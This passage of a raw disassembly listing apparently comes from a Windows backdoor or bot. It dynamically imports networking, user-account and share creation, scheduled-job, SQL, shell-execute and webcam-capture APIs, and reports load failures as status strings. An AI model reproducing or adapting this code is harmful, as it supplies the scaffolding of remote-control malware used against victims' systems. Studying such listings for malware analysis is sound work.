		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43AD94, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43ACD4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43ACCC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43ADE8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43ADFC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43ADB0, eax
		call	esi
		mov	dword_43AD70, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43ADC4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43AD80, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43ADC0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43AE2C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43AD78, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43AD3C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43ADAC, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43AE1C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43AD50, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43ACF4, eax
		call	esi
		cmp	dword_43AD10, ebx
		mov	dword_43AE30, eax
		jz	loc_409FD6
		cmp	dword_43AE3C, ebx
		jz	loc_409FD6
		cmp	dword_43ACB4, ebx
		jz	loc_409FD6
		cmp	dword_43AD44, ebx
		jz	loc_409FD6
		cmp	dword_43AD2C, ebx
		jz	loc_409FD6
		cmp	dword_43ACF8, ebx
		jz	loc_409FD6
		cmp	dword_43AE18, ebx
		jz	loc_409FD6
		cmp	dword_43AE34, ebx
		jz	loc_409FD6
		cmp	dword_43AD40, ebx
		jz	loc_409FD6
		cmp	dword_43AE24, ebx
		jz	loc_409FD6
		cmp	dword_43ADD8, ebx
		jz	loc_409FD6
		cmp	dword_43AD98, ebx
		jz	loc_409FD6
		cmp	dword_43AD94, ebx
		jz	loc_409FD6
		cmp	dword_43ACD4, ebx
		jz	short loc_409FD6
		cmp	dword_43ADE8, ebx
		jz	short loc_409FD6
		cmp	dword_43ADFC, ebx
		jz	short loc_409FD6
		cmp	dword_43ADB0, ebx
		jz	short loc_409FD6
		cmp	dword_43AD70, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC4, ebx
		jz	short loc_409FD6
		cmp	dword_43AD80, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC0, ebx
		jz	short loc_409FD6
		cmp	dword_43AE2C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD78, ebx
		jz	short loc_409FD6
		cmp	dword_43AD3C, ebx
		jz	short loc_409FD6
		cmp	dword_43ADAC, ebx
		jz	short loc_409FD6
		cmp	dword_43AE1C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD50, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409FCB:				; CODE XREF: sub_40981F+501j
		call	near ptr 267036Ah
		nop
		mov	dword_43AE7C, eax


loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43AE78, 1


loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43ACDC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43AC68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43AD60, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43AD14, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43AD6C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43AD30, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43ACA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43ACA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43ACB0, eax
		call	esi
		cmp	dword_43ACDC, ebx
		mov	ecx, dword_43AD30
		mov	dword_43ADCC, eax
		jz	short loc_40A0C1
		cmp	dword_43AC68, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD60, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD14, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD6C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA8, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA0, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACB0, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB


loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43AE80, 1


loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43AD48, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------


loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 267036Ah
		mov	dword_43AE84, eax
		mov	dword_43AE80, 1


loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43AD48, ebx


loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43AD24, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43AE50, eax
		call	esi
		cmp	dword_43AD24, ebx
		mov	dword_43ACBC, eax
		jz	short loc_40A155
		cmp	dword_43AE50, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------


loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 267036Ah
		mov	dword_43AE8C, eax


loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43AE88, 1


loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43AC98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43AC70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43ACE4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43AD18, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43AE28, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43ACD0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43AC7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43AC6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43AD00, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43ADF0, eax
		call	esi
		cmp	dword_43AC98, ebx
		mov	dword_43ADA8, eax
		jz	short loc_40A260
		cmp	dword_43AC70, ebx
		jz	short loc_40A260
		cmp	dword_43ACE4, ebx
		jz	short loc_40A260
		cmp	dword_43AD18, ebx
		jz	short loc_40A260
		cmp	dword_43AE28, ebx
		jz	short loc_40A260
		cmp	dword_43ACD0, ebx
		jz	short loc_40A260
		cmp	dword_43AC7C, ebx
		jz	short loc_40A260
		cmp	dword_43AC6C, ebx
		jz	short loc_40A260
		cmp	dword_43AD00, ebx
		jz	short loc_40A260
		cmp	dword_43ADF0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------


loc_40A255:				; CODE XREF: sub_40981F+94Bj
		call	near ptr 267036Ah
		nop
		mov	dword_43AE94, eax


loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43AE90, 1


loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43ACC0, eax
		call	esi
		cmp	dword_43ACC0, ebx
		mov	dword_43AD90, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A29F:				; CODE XREF: sub_40981F+A56j
		nop
		call	near ptr 267036Ah
		mov	dword_43AE9C, eax


loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43AE98, 1


loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43AE14, eax
		call	esi
		cmp	dword_43AE14, ebx
		mov	dword_43AE10, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 267036Ah
		mov	dword_43AEA4, eax


loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43AEA0, 1


loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43AE40, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43AE38, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43AE00, eax
		call	esi
		cmp	dword_43AE40, ebx
		mov	dword_43ACD8, eax
		jz	short loc_40A368
		cmp	dword_43AE38, ebx
		jz	short loc_40A368
		cmp	dword_43AE00, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		nop
		call	near ptr 267036Ah
		mov	dword_43AEAC, eax


loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43AEA8, 1


loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43AD0C, eax
		call	esi
		cmp	dword_43AD0C, ebx
		mov	dword_43AE0C, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 267036Ah
		mov	dword_43AEB4, eax


loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43AEB0, 1


loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43ADD4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43AE20, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43AD5C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43AD1C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43ADB4, eax
		call	esi
		cmp	dword_43ADD4, ebx
		mov	dword_43AD28, eax
		jz	short loc_40A450
		cmp	dword_43AE20, ebx
		jz	short loc_40A450
		cmp	dword_43AD5C, ebx
		jz	short loc_40A450
		cmp	dword_43AD1C, ebx
		jz	short loc_40A450
		cmp	dword_43ADB4, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------


loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 267036Ah
		mov	dword_43AEBC, eax


loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43AEB8, 1


loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43ACF0, eax
		call	esi
		cmp	dword_43ACF0, ebx
		mov	dword_43ADC8, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40981F+C46j
		nop
		call	near ptr 267036Ah
		mov	dword_43AEC4, eax


loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43AEC0, 1


loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43AE58, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43AE5C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43AE60, esi
		jz	short loc_40A528
		push	dword_43AE64
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43AE68, esi
		jz	short loc_40A55C
		push	dword_43AE6C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43AE70, esi
		jz	short loc_40A590
		push	dword_43AE74
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43AE78, esi
		jz	short loc_40A5C4
		push	dword_43AE7C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43AE80, esi
		jz	short loc_40A5F8
		push	dword_43AE84
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43AE88, esi
		jz	short loc_40A62C
		push	dword_43AE8C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43AE90, esi
		jz	short loc_40A660
		push	dword_43AE94
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43AE98, esi
		jz	short loc_40A694
		push	dword_43AE9C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43AEA0, esi
		jz	short loc_40A6C8
		push	dword_43AEA4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43AEA8, esi
		jz	short loc_40A6FC
		push	dword_43AEAC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43AEB0, esi
		jz	short loc_40A730
		push	dword_43AEB4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43AEB8, esi
		jz	short loc_40A764
		push	dword_43AEBC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43AEC0, esi
		jz	short loc_40A798
		push	dword_43AEC4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi


loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx


loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax


loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E


loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------


loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0


loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB


loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0


loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA


loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]


loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD


loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch


loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx


loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi


loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx


loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
